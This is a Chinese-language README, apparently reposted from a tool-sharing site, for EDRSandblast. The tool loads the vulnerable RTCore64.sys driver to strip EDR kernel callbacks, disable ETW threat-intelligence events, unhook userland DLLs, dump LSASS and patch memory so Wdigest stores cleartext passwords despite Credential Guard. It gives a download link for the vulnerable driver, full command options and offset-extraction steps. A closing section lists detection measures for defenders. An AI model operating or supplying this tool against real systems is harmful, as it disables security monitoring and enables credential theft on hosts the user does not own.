当启用 `Credentials Guard` 时,会在 `虚拟安全模式` 下创建一个 `LSAIso`(*LSA 隔离*)进程,该功能利用 CPU 的虚拟化扩展提供内存中数据的额外安全性。即使对于拥有 `NT AUTHORITY\SYSTEM` 安全上下文的访问,对 `LSAIso` 进程的访问也会受到限制。在处理哈希时,`LSA` 进程会向 `LSAIso` 进程执行 `RPC` 调用,并等待 `LSAIso` 的结果以继续。因此,`LSASS` 进程不会包含任何秘密,而是存储 `LSA 隔离数据`。

根据 `N4kedTurtle` 进行的原始研究:“可以通过修补内存中 `g_fParameter_useLogonCredential` 和 `g_IsCredGuardEnabled` 的值,在启用了 Credential Guard 的系统上启用 `Wdigest`”。启用 `Wdigest` 将导致在新的交互式登录中(无需重启系统),明文凭据被存储在 `LSASS` 内存中。有关此技术的更多详细信息,请参阅[原始研究博客文章](https://teamhydra.blog/2020/08/25/bypassing-credential-guard/)。

`EDRSandBlast` 只是让原始 PoC 在操作安全方面更友好一点,并为若干版本的 `wdigest.dll` 提供支持(通过计算 `g_fParameter_useLogonCredential` 和 `g_IsCredGuardEnabled` 的偏移量)。

### 偏移量获取

为了可靠地执行内核监控绕过操作,EDRSandblast 需要确切知道在内核内存中读取和写入的位置。这是通过使用目标镜像(ntoskrnl.exe、wdigest.dll)内全局变量的偏移量,以及 Microsoft 在符号文件中发布的结构中特定字段的偏移量来实现的。这些偏移量特定于目标镜像的每个构建版本,并且必须针对特定的平台版本至少收集一次。

选择使用“硬编码”偏移量而不是模式搜索来定位 EDRSandblast 使用的结构和变量的原因在于,负责内核回调添加/删除的未文档化 API 可能会发生变化,任何尝试在错误地址读取或写入内核内存的行为都可能导致(并且通常会导致)`Bug Check`(`蓝屏死机`)。在红队和正常渗透测试场景中,机器崩溃是不可接受的,因为崩溃的机器对防御者高度可见,并且会丢失攻击时仍在内存中的任何凭据。

为了检索每个特定 Windows 版本的偏移量,实现了两种方法。

#### 手动偏移量检索

所需的 `ntoskrnl.exe` 和 `wdigest.dll` 偏移量可以使用提供的 `ExtractOffsets.py` Python 脚本提取,该脚本依赖 `radare2` 和 `r2pipe` 从 PDB 文件下载和解析符号,并从中提取所需的偏移量。偏移量随后存储在 CSV 文件中,供 EDRSandblast 后续使用。

为了开箱即用地支持多种 Windows 构建版本,[Winbindex](https://winbindex.m417z.com/) 引用了许多版本的 `ntoskrnl.exe` 和 `wdigest.dll` 二进制文件,`ExtractOffsets.py` 可以自动下载这些文件(并提取其偏移量)。这使得可以从几乎所有曾发布于 Windows 更新包的文件中提取偏移量(截至目前,已有 450 多个 `ntoskrnl.exe` 版本和 30 多个 `wdigest.dll` 版本可用并预先计算)。

#### 自动偏移量检索与更新

在 `EDRSandBlast` 中实现了另一种选项,允许程序自行从 Microsoft 符号服务器下载所需的 `.pdb` 文件,提取所需的偏移量,并更新相应的 `.csv` 文件(如果存在)。

使用 `--internet` 选项使得工具执行更加简单,但同时引入了额外的操作安全风险,因为在此过程中会下载 `.pdb` 文件并将其存放到磁盘上。这是用于解析符号数据库的 `dbghelp.dll` 函数所必需的;不过,未来可能会实现完整的内存内 PDB 解析,以消除此要求并减少工具的足迹。

## 使用说明

存在漏洞的 `RTCore64.sys` 驱动可通过以下方式获取:```
http://download-eu2.guru3d.com/afterburner/%5BGuru3D.com%5D-MSIAfterburnerSetup462Beta2.zip

快速使用```

Usage: EDRSandblast.exe [-h | --help] [-v | --verbose] <audit | dump | cmd | credguard> [--usermode [--unhook-method ]] [--kernelmode] [--dont-unload-driver] [--dont-restore-callbacks] [--driver <RTCore64.sys>] [--service <SERVICE_NAME>] [--nt-offsets <NtoskrnlOffsets.csv>] [--wdigest-offsets <WdigestOffsets.csv>] [--add-dll ]* [-o | --dump-output <DUMP_FILE>]

root@kitploit:~
### 选项```
-h | --help             Show this help message and exit.
-v | --verbose          Enable a more verbose output.

Actions mode:

        audit           Display the user-land hooks and / or Kernel callbacks without taking actions.
        dump            Dump the LSASS process, by default as 'lsass' in the current directory or at the
                        specified file using -o | --output <DUMP_FILE>.
        cmd             Open a cmd.exe prompt.
        credguard       Patch the LSASS process' memory to enable Wdigest cleartext passwords caching even if
                        Credential Guard is enabled on the host. No kernel-land actions required.

--usermode              Perform user-land operations (DLL unhooking).
--kernelmode            Perform kernel-land operations (Kernel callbacks removal and ETW TI disabling).

--unhook-method <N>
   Choose the userland un-hooking technique, from the following:

        1 (Default)     Uses the (probably monitored) NtProtectVirtualMemory function in ntdll to remove all
                        present userland hooks.
        2               Constructs a 'unhooked' (i.e. unmonitored) version of NtProtectVirtualMemory, by
                        allocating an executable trampoline jumping over the hook, and remove all present
                        userland hooks.
        3               Searches for an existing trampoline allocated by the EDR itself, to get an 'unhooked'
                        (i.e. unmonitored) version of NtProtectVirtualMemory, and remove all present userland
                        hooks.
        4               Loads an additional version of ntdll library into memory, and use the (hopefully
                        unmonitored) version of NtProtectVirtualMemory present in this library to remove all
                        present userland hooks.
        5               Allocates a shellcode that uses a direct syscall to call NtProtectVirtualMemory,
                        and uses it to remove all detected hooks

Other options:

--dont-unload-driver                    Keep the vulnerable driver installed on the host
                                        Default to automatically unsinstall the driver.
--dont-restore-callbacks                Do not restore the EDR drivers' Kernel Callbacks that were removed.
                                        Default to restore the callbacks.

--driver <RTCore64.sys>                 Path to the vulnerable driver file.
                                        Default to 'RTCore64.sys' in the current directory.
--service <SERVICE_NAME>                Name of the vulnerable service to intall / start.

--nt-offsets <NtoskrnlOffsets.csv>      Path to the CSV file containing the required ntoskrnl.exe's offsets.
                                        Default to 'NtoskrnlOffsets.csv' in the current directory.
--wdigest-offsets <WdigestOffsets.csv>  Path to the CSV file containing the required wdigest.dll's offsets
                                        (only for the 'credguard' mode).
                                        Default to 'WdigestOffsets.csv' in the current directory.

--add-dll <dll name or path>            Loads arbitrary libraries into the process' address space, before starting
                                        anything. This can be useful to audit userland hooking for DLL that are not
                                        loaded by default by this program. Use this option multiple times to load
                                        multiple DLLs all at once.
                                        Example of interesting DLLs to look at: user32.dll, ole32.dll, crypt32.dll,
                                        samcli.dll, winhttp.dll, urlmon.dll, secur32.dll, shell32.dll...

-o | --output <DUMP_FILE>               Output path to the dump file that will be generated by the 'dump' mode.
                                        Default to 'lsass' in the current directory.

-i | --internet                         Enables automatic symbols download from Microsoft Symbol Server
                                        If a corresponding *Offsets.csv file exists, appends the downloaded offsets to the file for later use
                                        OpSec warning: downloads and drops on disk a PDB file for ntoskrnl.exe and/or wdigest.dll

Build

EDRSandBlast(仅 x64)是在 Visual Studio 2019 上构建的(Windows SDK 版本:10.0.19041.0 和 Platform Toolset:Visual Studio 2019 (v142))。

ExtractOffsets.py 用法

请注意,ExtractOffsets.py 仅在 Windows 上测试过。```

Installation of Python dependencies

pip.exe install -m .\requirements.txt

Script usage

ExtractOffsets.py [-h] -i INPUT [-o OUTPUT] [-d] mode

positional arguments: mode ntoskrnl or wdigest. Mode to download and extract offsets for either ntoskrnl or wdigest

optional arguments: -h, --help show this help message and exit -i INPUT, --input INPUT Single file or directory containing ntoskrnl.exe / wdigest.dll to extract offsets from. If in download mode, the PE downloaded from MS symbols servers will be placed in this folder. -o OUTPUT, --output OUTPUT CSV file to write offsets to. If the specified file already exists, only new ntoskrnl versions will be downloaded / analyzed. Defaults to NtoskrnlOffsets.csv / WdigestOffsets.csv in the current folder. -d, --download Flag to download the PE from Microsoft servers using list of versions from winbindex.m417z.com.

root@kitploit:~
## 检测

从防御者(EDR厂商、微软、查看EDR遥测的SOC分析师等)的角度来看,可以使用多种指标来检测或预防这类技术。

### 驱动程序白名单

由于该工具在内核模式内存中的每个操作都依赖于易受攻击的驱动程序来读/写任意内容,因此EDR产品(或SOC分析师)应严格审查驱动程序加载事件,在任何不常见的驱动程序加载时发出警报,甚至阻止已知易受攻击的驱动程序。后一种方法甚至被[微软自己推荐](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules):任何启用了HVCI(*虚拟机管理程序保护的代码完整性*)的Windows设备都嵌入了驱动程序阻止列表,这将在Windows上逐渐成为默认行为(在Windows 11上已经是了)。

### 内核内存完整性检查

由于攻击者仍然可以使用未知的易受攻击驱动程序在内存中执行相同操作,EDR驱动程序可以定期检查其内核回调是否仍已注册,可以通过直接检查内核内存(如该工具所做)来实现,或者简单通过触发事件(进程创建、线程创建、图像加载等)并检查回调函数确实被执行内核调用。

顺便提一句,这种类型的数据结构可以通过最近的[内核数据保护(KDP)](https://www.microsoft.com/security/blog/2020/07/08/introducing-kernel-data-protection-a-new-platform-security-technology-for-preventing-data-corruption/)机制来保护,该机制依赖于基于虚拟化的安全,以便在不调用正确API的情况下使内核回调数组不可写。

同样的逻辑可以应用于敏感的ETW变量,例如`ProviderEnableInfo`,该工具滥用此变量来禁用ETW威胁情报事件的生成。

### 用户模式检测

一个进程积极尝试规避用户态钩子的第一个指标是对应已加载模块的每个DLL的文件访问;在正常执行中,用户态进程很少需要在`LoadLibrary`调用之外读取DLL文件,尤其是`ntdll.dll`。

为了保护API钩子不被绕过,EDR产品可以定期检查每个被监控进程中内存中的钩子是否未被更改。

最后,为了检测不涉及钩子移除的钩子绕过(滥用蹦床、使用直接系统调用等),EDR产品可能依赖于与被滥用系统调用相关联的内核回调(例如,`PsCreateProcessNotifyRoutine`用于`NtCreateProcess`系统调用,`ObRegisterCallbacks`用于`NtOpenProcess`系统调用等),并执行用户模式调用栈分析,以确定系统调用是从正常路径(`kernel32.dll` -> `ntdll.dll` -> 系统调用)还是异常路径(例如`program.exe` -> 直接系统调用)触发的。

## 致谢

- 内核回调枚举与移除:
  https://github.com/br-sn/CheekyBlinder

- 内核内存读/写原语(通过易受攻击的
  `Micro-Star MSI Afterburner` 驱动程序):
  https://github.com/Barakat/CVE-2019-16098/

- 禁用ETW威胁情报提供程序:
  https://public.cnotools.studio/bring-your-own-vulnerable-kernel-driver-byovkd/exploits/data-only-attack-neutralizing-etwti-provider

- 驱动程序安装/卸载:https://github.com/gentilkiwi/mimikatz

- EDR驱动程序名称初始列表:
  https://github.com/SadProcessor/SomeStuff/blob/master/Invoke-EDRCheck.ps1

- 通过`LSASS`内存重新启用`Wdigest`绕过Credential Guard:
  修补:https://teamhydra.blog/2020/08/25/bypassing-credential-guard/

## 作者

[Thomas DIOT (Qazeer)](https://github.com/Qazeer/)
[Maxime MEIGNAN (themaks)](https://github.com/themaks)

## 许可

CC BY 4.0 许可协议 - https://creativecommons.org/licenses/by/4.0/
下载工具